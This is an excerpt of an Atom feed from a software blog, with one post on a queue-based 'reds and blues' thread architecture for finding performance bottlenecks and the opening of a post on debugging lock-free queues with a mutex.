    <id>https://book-of-gehn.github.io/articles/2020/09/09/Reds-and-Blues-Architecture.html</id>
    <title>Reds and Blues Architecture</title>
    <updated>2020-09-09T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Could we design an architecture that allows us to have insight about the performance of the system?&lt;/p&gt;
&lt;p&gt;When you spend nights debugging searching where is the bottleneck, it is when you blame the you of the past for a so &lt;em&gt;opaque&lt;/em&gt; and slow architecture.&lt;/p&gt;
&lt;p&gt;This is the proposal of a simple architecture that allows introspection and enables – too many times forgotten – basic optimizations.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="a-case-of-study"&gt;A case of study&lt;/h2&gt;
&lt;p&gt;Imagine that we need to accept requests from a client and forward them to a server.&lt;/p&gt;
&lt;p&gt;The server will do the real job and it will return us the result of the operation that we will store in a database.&lt;/p&gt;
&lt;p&gt;But the server is stateful and processing the same request twice will corrupt the server.&lt;/p&gt;
&lt;p&gt;It is our job to filter the duplicates out.&lt;/p&gt;
&lt;p&gt;For that we use the same database to query if the given task was already seen or if it is a novel one.&lt;/p&gt;
&lt;p&gt;The following pseudo-code shows the proposed solution:&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZXNpZ24vcmVkLWJsdWUtYXJjaC9yZWRzLWFuZC1ibHVlcy1vcmlnaW5hbC5wbmcnIC8+Ck9yaWdpbmFsIGRlc2lnbjogYSBsaXR0bGUgbWVzc3kgd2l0aCBJTyBtaXhlZCB3aXRoIENQVSBib3VuZGVkIGNvZGUuCiBtYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZXNpZ24vcmVkLWJsdWUtYXJjaC9yZWRzLWFuZC1ibHVlcy1vcmlnaW5hbC5wbmcnIC8+Ck9yaWdpbmFsIGRlc2lnbjogYSBsaXR0bGUgbWVzc3kgd2l0aCBJTyBtaXhlZCB3aXRoIENQVSBib3VuZGVkIGNvZGUuCiBtYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/design/red-blue-arch/reds-and-blues-original.png' /&gt;
Original design: a little messy with IO mixed with CPU bounded code.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;receive_request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;calculate_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_present&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="c1"&gt;# nothing else, drop duplicated&lt;/span&gt;

    &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_new_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process_request_and_get_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When we stress the code we found that it is just not fast enough.&lt;/p&gt;
&lt;p&gt;The code uses different resources and all of them need to be up to the task.&lt;/p&gt;
&lt;p&gt;Because there is no separation between them, it is hard to know where is the bottleneck.&lt;/p&gt;
&lt;h2 id="reds-and-blues"&gt;Reds and Blues&lt;/h2&gt;
&lt;p&gt;We can refactor the code into several threads allowing each to interact with a single resource.&lt;/p&gt;
&lt;p&gt;In particular we want to distinguish which threads do IO operations and which don’t.&lt;/p&gt;
&lt;p&gt;The threads will communicate each other with queues.&lt;/p&gt;
&lt;p&gt;The objective is &lt;em&gt;not&lt;/em&gt; to run code concurrently to booster the speed but to &lt;em&gt;make explicit the implicit&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And the queues will provide us that insight.&lt;/p&gt;
&lt;p&gt;But first, this is the diagram of the refactored code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Split the code into 5 threads connected with queues. From left to right, up to down: R, H, N, P and S.
&lt;br /&gt;&lt;br /&gt;
Each thread and arrow is colored: reds for IO code and blues for CPU code.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/design/red-blue-arch/reds-and-blues-redesigned.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Consider the queue between the thread that receives the requests (R) and the thread that calculates the hash of it (H).&lt;/p&gt;
&lt;p&gt;If the queue starts to fill up that would mean that or we are receiving too many requests or that the hash is taking more than than expected.&lt;/p&gt;
&lt;p&gt;The queue does not tell exactly where is the problem but &lt;em&gt;cuts and reduces&lt;/em&gt; the search area.&lt;/p&gt;
&lt;p&gt;Some other examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;if the threads N’s and S’s queues are getting full, that may indicate a problem with the database. Slow queries? Slow disk?&lt;/li&gt;
&lt;li&gt;if instead the thread P is the bottleneck, then the server is the problem. Slow network? Too chatty protocol? A server-side problem?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-queues"&gt;The queues&lt;/h2&gt;
&lt;p&gt;To make any insight the queues must track:&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL3F1ZXVlcy1zdGF0cy5wbmcnIC8+Ck1ldHJpY3M6IGluIGFuZCBvdXQgb3ZlciB0aW1lLCBwbHVzIGRyb3BzIGFuZCBxdWV1ZSdzIGxlbmd0aC4gV2hlbgp0d28gcXVldWVzIGFyZSBjb25uZWN0ZWQsIG9uZSBvZiB0aGUgbWV0cmljcyBjYW4gYmUgZGVkdWNlZCBmcm9tIHRoZQpvdGhlci4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL3F1ZXVlcy1zdGF0cy5wbmcnIC8+Ck1ldHJpY3M6IGluIGFuZCBvdXQgb3ZlciB0aW1lLCBwbHVzIGRyb3BzIGFuZCBxdWV1ZSdzIGxlbmd0aC4gV2hlbgp0d28gcXVldWVzIGFyZSBjb25uZWN0ZWQsIG9uZSBvZiB0aGUgbWV0cmljcyBjYW4gYmUgZGVkdWNlZCBmcm9tIHRoZQpvdGhlci4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 60%;" class='fullwidth' alt='' src='/img/design/red-blue-arch/queues-stats.png' /&gt;
Metrics: in and out over time, plus drops and queue’s length. When two queues are connected, one of the metrics can be deduced from the other.
&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;items pushed into the queue over time (throughput of the producer)&lt;/li&gt;
&lt;li&gt;items popped from the queue over time (throughput of the consumer)&lt;/li&gt;
&lt;li&gt;the occupancy of the queue (also known as the length of the queue)&lt;/li&gt;
&lt;li&gt;items dropped due the queue was full&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In a architecture where there are multiple queues, it is generally redundant to have a count of the items pushed and the items popped.&lt;/p&gt;
&lt;p&gt;We could track only the items pushed and use that metric for the exit queue to estimate the items popped from the enter queue.&lt;/p&gt;
&lt;p&gt;For example, if the thread H is pushing 10k items per second in the exit queue (that connects H with N), we can conclude that H is popping 10k items per seconds from its enter queue (that connects R with H).&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA0MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL3JlYWxseWNvb2xzdHVmZi5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA0MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL3JlYWxseWNvb2xzdHVmZi5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 40%;" class='fullwidth' alt='' src='/img/design/red-blue-arch/reallycoolstuff.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For analyzing the performance &lt;a href="http://www.brendangregg.com/usemethod.html"&gt;Brendan Gregg’s USE method&lt;/a&gt; states that every resource must be characterized by three metrics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;utilization: average time that the resource was busy&lt;/li&gt;
&lt;li&gt;saturation: degree of extra work that the resource didn’t handle, often queued&lt;/li&gt;
&lt;li&gt;errors: well, that, errors, like drops.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are two categories of resources that differ in the definition of &lt;em&gt;utilization&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IO resources, like network, disk: the utilization is the amount of time that the resource was busy.&lt;/li&gt;
&lt;li&gt;Capacity resources, like the memory: the utilization in this case is the amount of memory in use.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is more generic way to analysis the performance of a system: using queues for statistics is a particular case.&lt;/p&gt;
&lt;p&gt;But there is more…&lt;/p&gt;
&lt;h2 id="batchbulk-for-free"&gt;Batch/Bulk for free&lt;/h2&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2NoYXR0eS5wbmcnIC8+CkVhY2ggbWVzc2FnZSByZXF1aXJlcyBhbiBlbmNhcHN1bGF0aW9uIGhlYWRlciBhbmQgYSAqc3lzY2FsbCogdG8gc2VuZCBpdC4KQ29zdHMgdGhhdCB5b3UgbWF5IHBlciBtZXNzYWdlOyBtb3JlIG1lc3NhZ2VzIG1lYW5zIG1vcmUgeW91IHBheS4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2NoYXR0eS5wbmcnIC8+CkVhY2ggbWVzc2FnZSByZXF1aXJlcyBhbiBlbmNhcHN1bGF0aW9uIGhlYWRlciBhbmQgYSAqc3lzY2FsbCogdG8gc2VuZCBpdC4KQ29zdHMgdGhhdCB5b3UgbWF5IHBlciBtZXNzYWdlOyBtb3JlIG1lc3NhZ2VzIG1lYW5zIG1vcmUgeW91IHBheS4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 60%;" class='fullwidth' alt='' src='/img/design/red-blue-arch/chatty.png' /&gt;
Each message requires an encapsulation header and a &lt;em&gt;syscall&lt;/em&gt; to send it. Costs that you may per message; more messages means more you pay.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The explicit queues allows to delay the processing but in exchange they allow to process the items in batch or bulk operations.&lt;/p&gt;
&lt;p&gt;A classic example would be the database: instead of querying each time we could query every 1k items doing a single bulk operation.&lt;/p&gt;
&lt;p&gt;For example, we could save 1k results in a single operation.&lt;/p&gt;
&lt;p&gt;This not only save bandwidth with the database but also IO operations.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2xlc3MtY2hhdHR5LnBuZycgLz4KTGVzcyBpcyBtb3JlLiBBbHNvIGl0IGVuYWJsZXMgc3BlY2lmaWMgcGVyLWJ1bmRsZSBjb21wcmVzc2lvbi4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2xlc3MtY2hhdHR5LnBuZycgLz4KTGVzcyBpcyBtb3JlLiBBbHNvIGl0IGVuYWJsZXMgc3BlY2lmaWMgcGVyLWJ1bmRsZSBjb21wcmVzc2lvbi4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 60%;" class='fullwidth' alt='' src='/img/design/red-blue-arch/less-chatty.png' /&gt;
Less is more. Also it enables specific per-bundle compression.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The communication with the server could be also improved. Instead of sending a request per work item, we could send them in packs: less messages going back and forward through the network it is always a good deal.&lt;/p&gt;
&lt;p&gt;Less chatty communication means more time and space for the real data, a better channel utilization.&lt;/p&gt;
&lt;h2 id="asynchronous-for-free"&gt;Asynchronous for free&lt;/h2&gt;
&lt;p&gt;And talking about network, sending a request and &lt;em&gt;waiting&lt;/em&gt; for the response is incredible slow.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2FzeW5jLnBuZycgLz4KV2hpbGUgYSBidWxrIGNhbGxzIGFtb3J0aXplIHRoZSBjb3N0IHBlciBtZXNzYWdlLCBhc3luY2hyb25vdXMKY2FsbHMgbWFrZSBtb3JlIHVzZSBvZiB0aGUgY2FwYWNpdHkgb2YgdGhlIG5ldHdvcmsgc28geW91IGNhbiBzZW5kCm1vcmUgaW4gdGhlIHNhbWUgdGltZS4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiA2MCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbHQ9Jycgc3JjPScvaW1nL2Rlc2lnbi9yZWQtYmx1ZS1hcmNoL2FzeW5jLnBuZycgLz4KV2hpbGUgYSBidWxrIGNhbGxzIGFtb3J0aXplIHRoZSBjb3N0IHBlciBtZXNzYWdlLCBhc3luY2hyb25vdXMKY2FsbHMgbWFrZSBtb3JlIHVzZSBvZiB0aGUgY2FwYWNpdHkgb2YgdGhlIG5ldHdvcmsgc28geW91IGNhbiBzZW5kCm1vcmUgaW4gdGhlIHNhbWUgdGltZS4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 60%;" class='fullwidth' alt='' src='/img/design/red-blue-arch/async.png' /&gt;
While a bulk calls amortize the cost per message, asynchronous calls make more use of the capacity of the network so you can send more in the same time.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We can send the requests &lt;em&gt;asynchronously&lt;/em&gt; to the server without waiting for the responses, and receive them later.&lt;/p&gt;
&lt;p&gt;This is perfectly possible because we put queues between who trigger the request (N) and who do something with the response (S).&lt;/p&gt;
&lt;p&gt;The architecture supports asynchronous mechanisms out of the box.&lt;/p&gt;
&lt;h2 id="everything-is-violet"&gt;Everything is violet&lt;/h2&gt;
&lt;p&gt;We categorized the threads in threads with high IO and threads with high CPU but it is important to highlight the fact that all the threads are running in the same machine with &lt;strong&gt;shared&lt;/strong&gt; resources.&lt;/p&gt;
&lt;p&gt;A CPU thread could end up doing a lot of IO because the system ran out of memory and it is swapping.&lt;/p&gt;
&lt;p&gt;A IO thread that sends requests to the network may use a lot of CPU because the serialization of the request is expensive.&lt;/p&gt;
&lt;p&gt;The queues provide insight but they must be taken as a complement of other metrics of the system.&lt;/p&gt;
&lt;p&gt;At the end, everything is tainted with reds &lt;em&gt;and&lt;/em&gt; blues.&lt;/p&gt;
&lt;h2 id="further-readings"&gt;Further readings&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.brendangregg.com/usemethod.html"&gt;Brendan Gregg’s USE method&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=K9w2cipqfvc"&gt;Performance Analysis: The USE Method&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/09/09/Reds-and-Blues-Architecture.html" rel="alternate" type="text/html" title="Reds and Blues Architecture"/>
    <category term="performance" label="performance"/>
    <category term="architecture" label="architecture"/>
    <category term="queue" label="queue"/>
    <category term="distributing" label="distributing"/>
    <published>2020-09-09T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/05/16/Debugging-Lock-Free-Algorithms.html</id>
    <title>Debugging Lock Free Algorithms</title>
    <updated>2020-05-16T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Debugging multithread code is hard and lock free algorithms is harder.&lt;/p&gt;
&lt;p&gt;What cleaver tricks can we use?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="back-to-the-old-good-mutex"&gt;Back to the old good mutex&lt;/h2&gt;
&lt;p&gt;One simple strategy is to use a traditional mutex or other lock mechanisms to make our lock free code into something much easier to reason about.&lt;/p&gt;
&lt;p&gt;Consider a lock free MPMC queue; making it thread safe with a mutex is plain simple:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mutex_lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;mutex_unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mutex_unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mutex_lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;mutex_unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mutex_unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CipNb3N0PyogQSBgbXV0ZXhfbG9ja2AvYG11dGV4X3VubG9ja2AgcGFpciB3b3JrcwphcyBhbiBgQUNRVUlSRWAvYFJFTEVBU0VgIHBhaXI6IGluc3RydWN0aW9ucwpmcm9tIHRoZSBjcml0aWNhbCBzZWN0aW9uIChDUykgY2Fubm90IGJlIG1vdmVkICphYm92ZSB0aGUgbG9jayogbm9yCipiZWxvdyB0aGUgdW5sb2NrKiBidXQgaW5zdHJ1Y3Rpb25zICpvdXRzaWRlKiBvZiB0aGUgQ1MgY2FuIGdldCBpbnRvIHRoZSBDUwptb3ZpbmcgZnJvbSB0aGUgdXBzaWRlICpiZWxvdyB0aGUgbG9jayogYW5kCmZyb20gdGhlIGRvd25zaWRlICphYm92ZSB0aGUgdW5sb2NrKgoKSW4gc2hvcnQsIHNvbWUgcmVvcmRlcnMgYXJlICpzdGlsbCogcG9zc2libGU6IHRoaW5ncyBiZWZvcmUgYW5kIGFmdGVyIHRoZSBDUwpjYW4gZ2V0IGluLCB0aGluZ3MgaW4gdGhlIENTIGNhbm5vdCBnZXQgb3V0LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CipNb3N0PyogQSBgbXV0ZXhfbG9ja2AvYG11dGV4X3VubG9ja2AgcGFpciB3b3JrcwphcyBhbiBgQUNRVUlSRWAvYFJFTEVBU0VgIHBhaXI6IGluc3RydWN0aW9ucwpmcm9tIHRoZSBjcml0aWNhbCBzZWN0aW9uIChDUykgY2Fubm90IGJlIG1vdmVkICphYm92ZSB0aGUgbG9jayogbm9yCipiZWxvdyB0aGUgdW5sb2NrKiBidXQgaW5zdHJ1Y3Rpb25zICpvdXRzaWRlKiBvZiB0aGUgQ1MgY2FuIGdldCBpbnRvIHRoZSBDUwptb3ZpbmcgZnJvbSB0aGUgdXBzaWRlICpiZWxvdyB0aGUgbG9jayogYW5kCmZyb20gdGhlIGRvd25zaWRlICphYm92ZSB0aGUgdW5sb2NrKgoKSW4gc2hvcnQsIHNvbWUgcmVvcmRlcnMgYXJlICpzdGlsbCogcG9zc2libGU6IHRoaW5ncyBiZWZvcmUgYW5kIGFmdGVyIHRoZSBDUwpjYW4gZ2V0IGluLCB0aGluZ3MgaW4gdGhlIENTIGNhbm5vdCBnZXQgb3V0LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;em&gt;Most?&lt;/em&gt; A &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mutex_lock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mutex_unlock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pair works as an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ACQUIRE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;RELEASE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pair: instructions from the critical section (CS) cannot be moved &lt;em&gt;above the lock&lt;/em&gt; nor &lt;em&gt;below the unlock&lt;/em&gt; but instructions &lt;em&gt;outside&lt;/em&gt; of the CS can get into the CS moving from the upside &lt;em&gt;below the lock&lt;/em&gt; and from the downside &lt;em&gt;above the unlock&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;
In short, some reorders are &lt;em&gt;still&lt;/em&gt; possible: things before and after the CS can get in, things in the CS cannot get out.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What did we get? &lt;em&gt;Most&lt;/em&gt; of the possible reorders and subtle race conditions are out.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/mutex.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
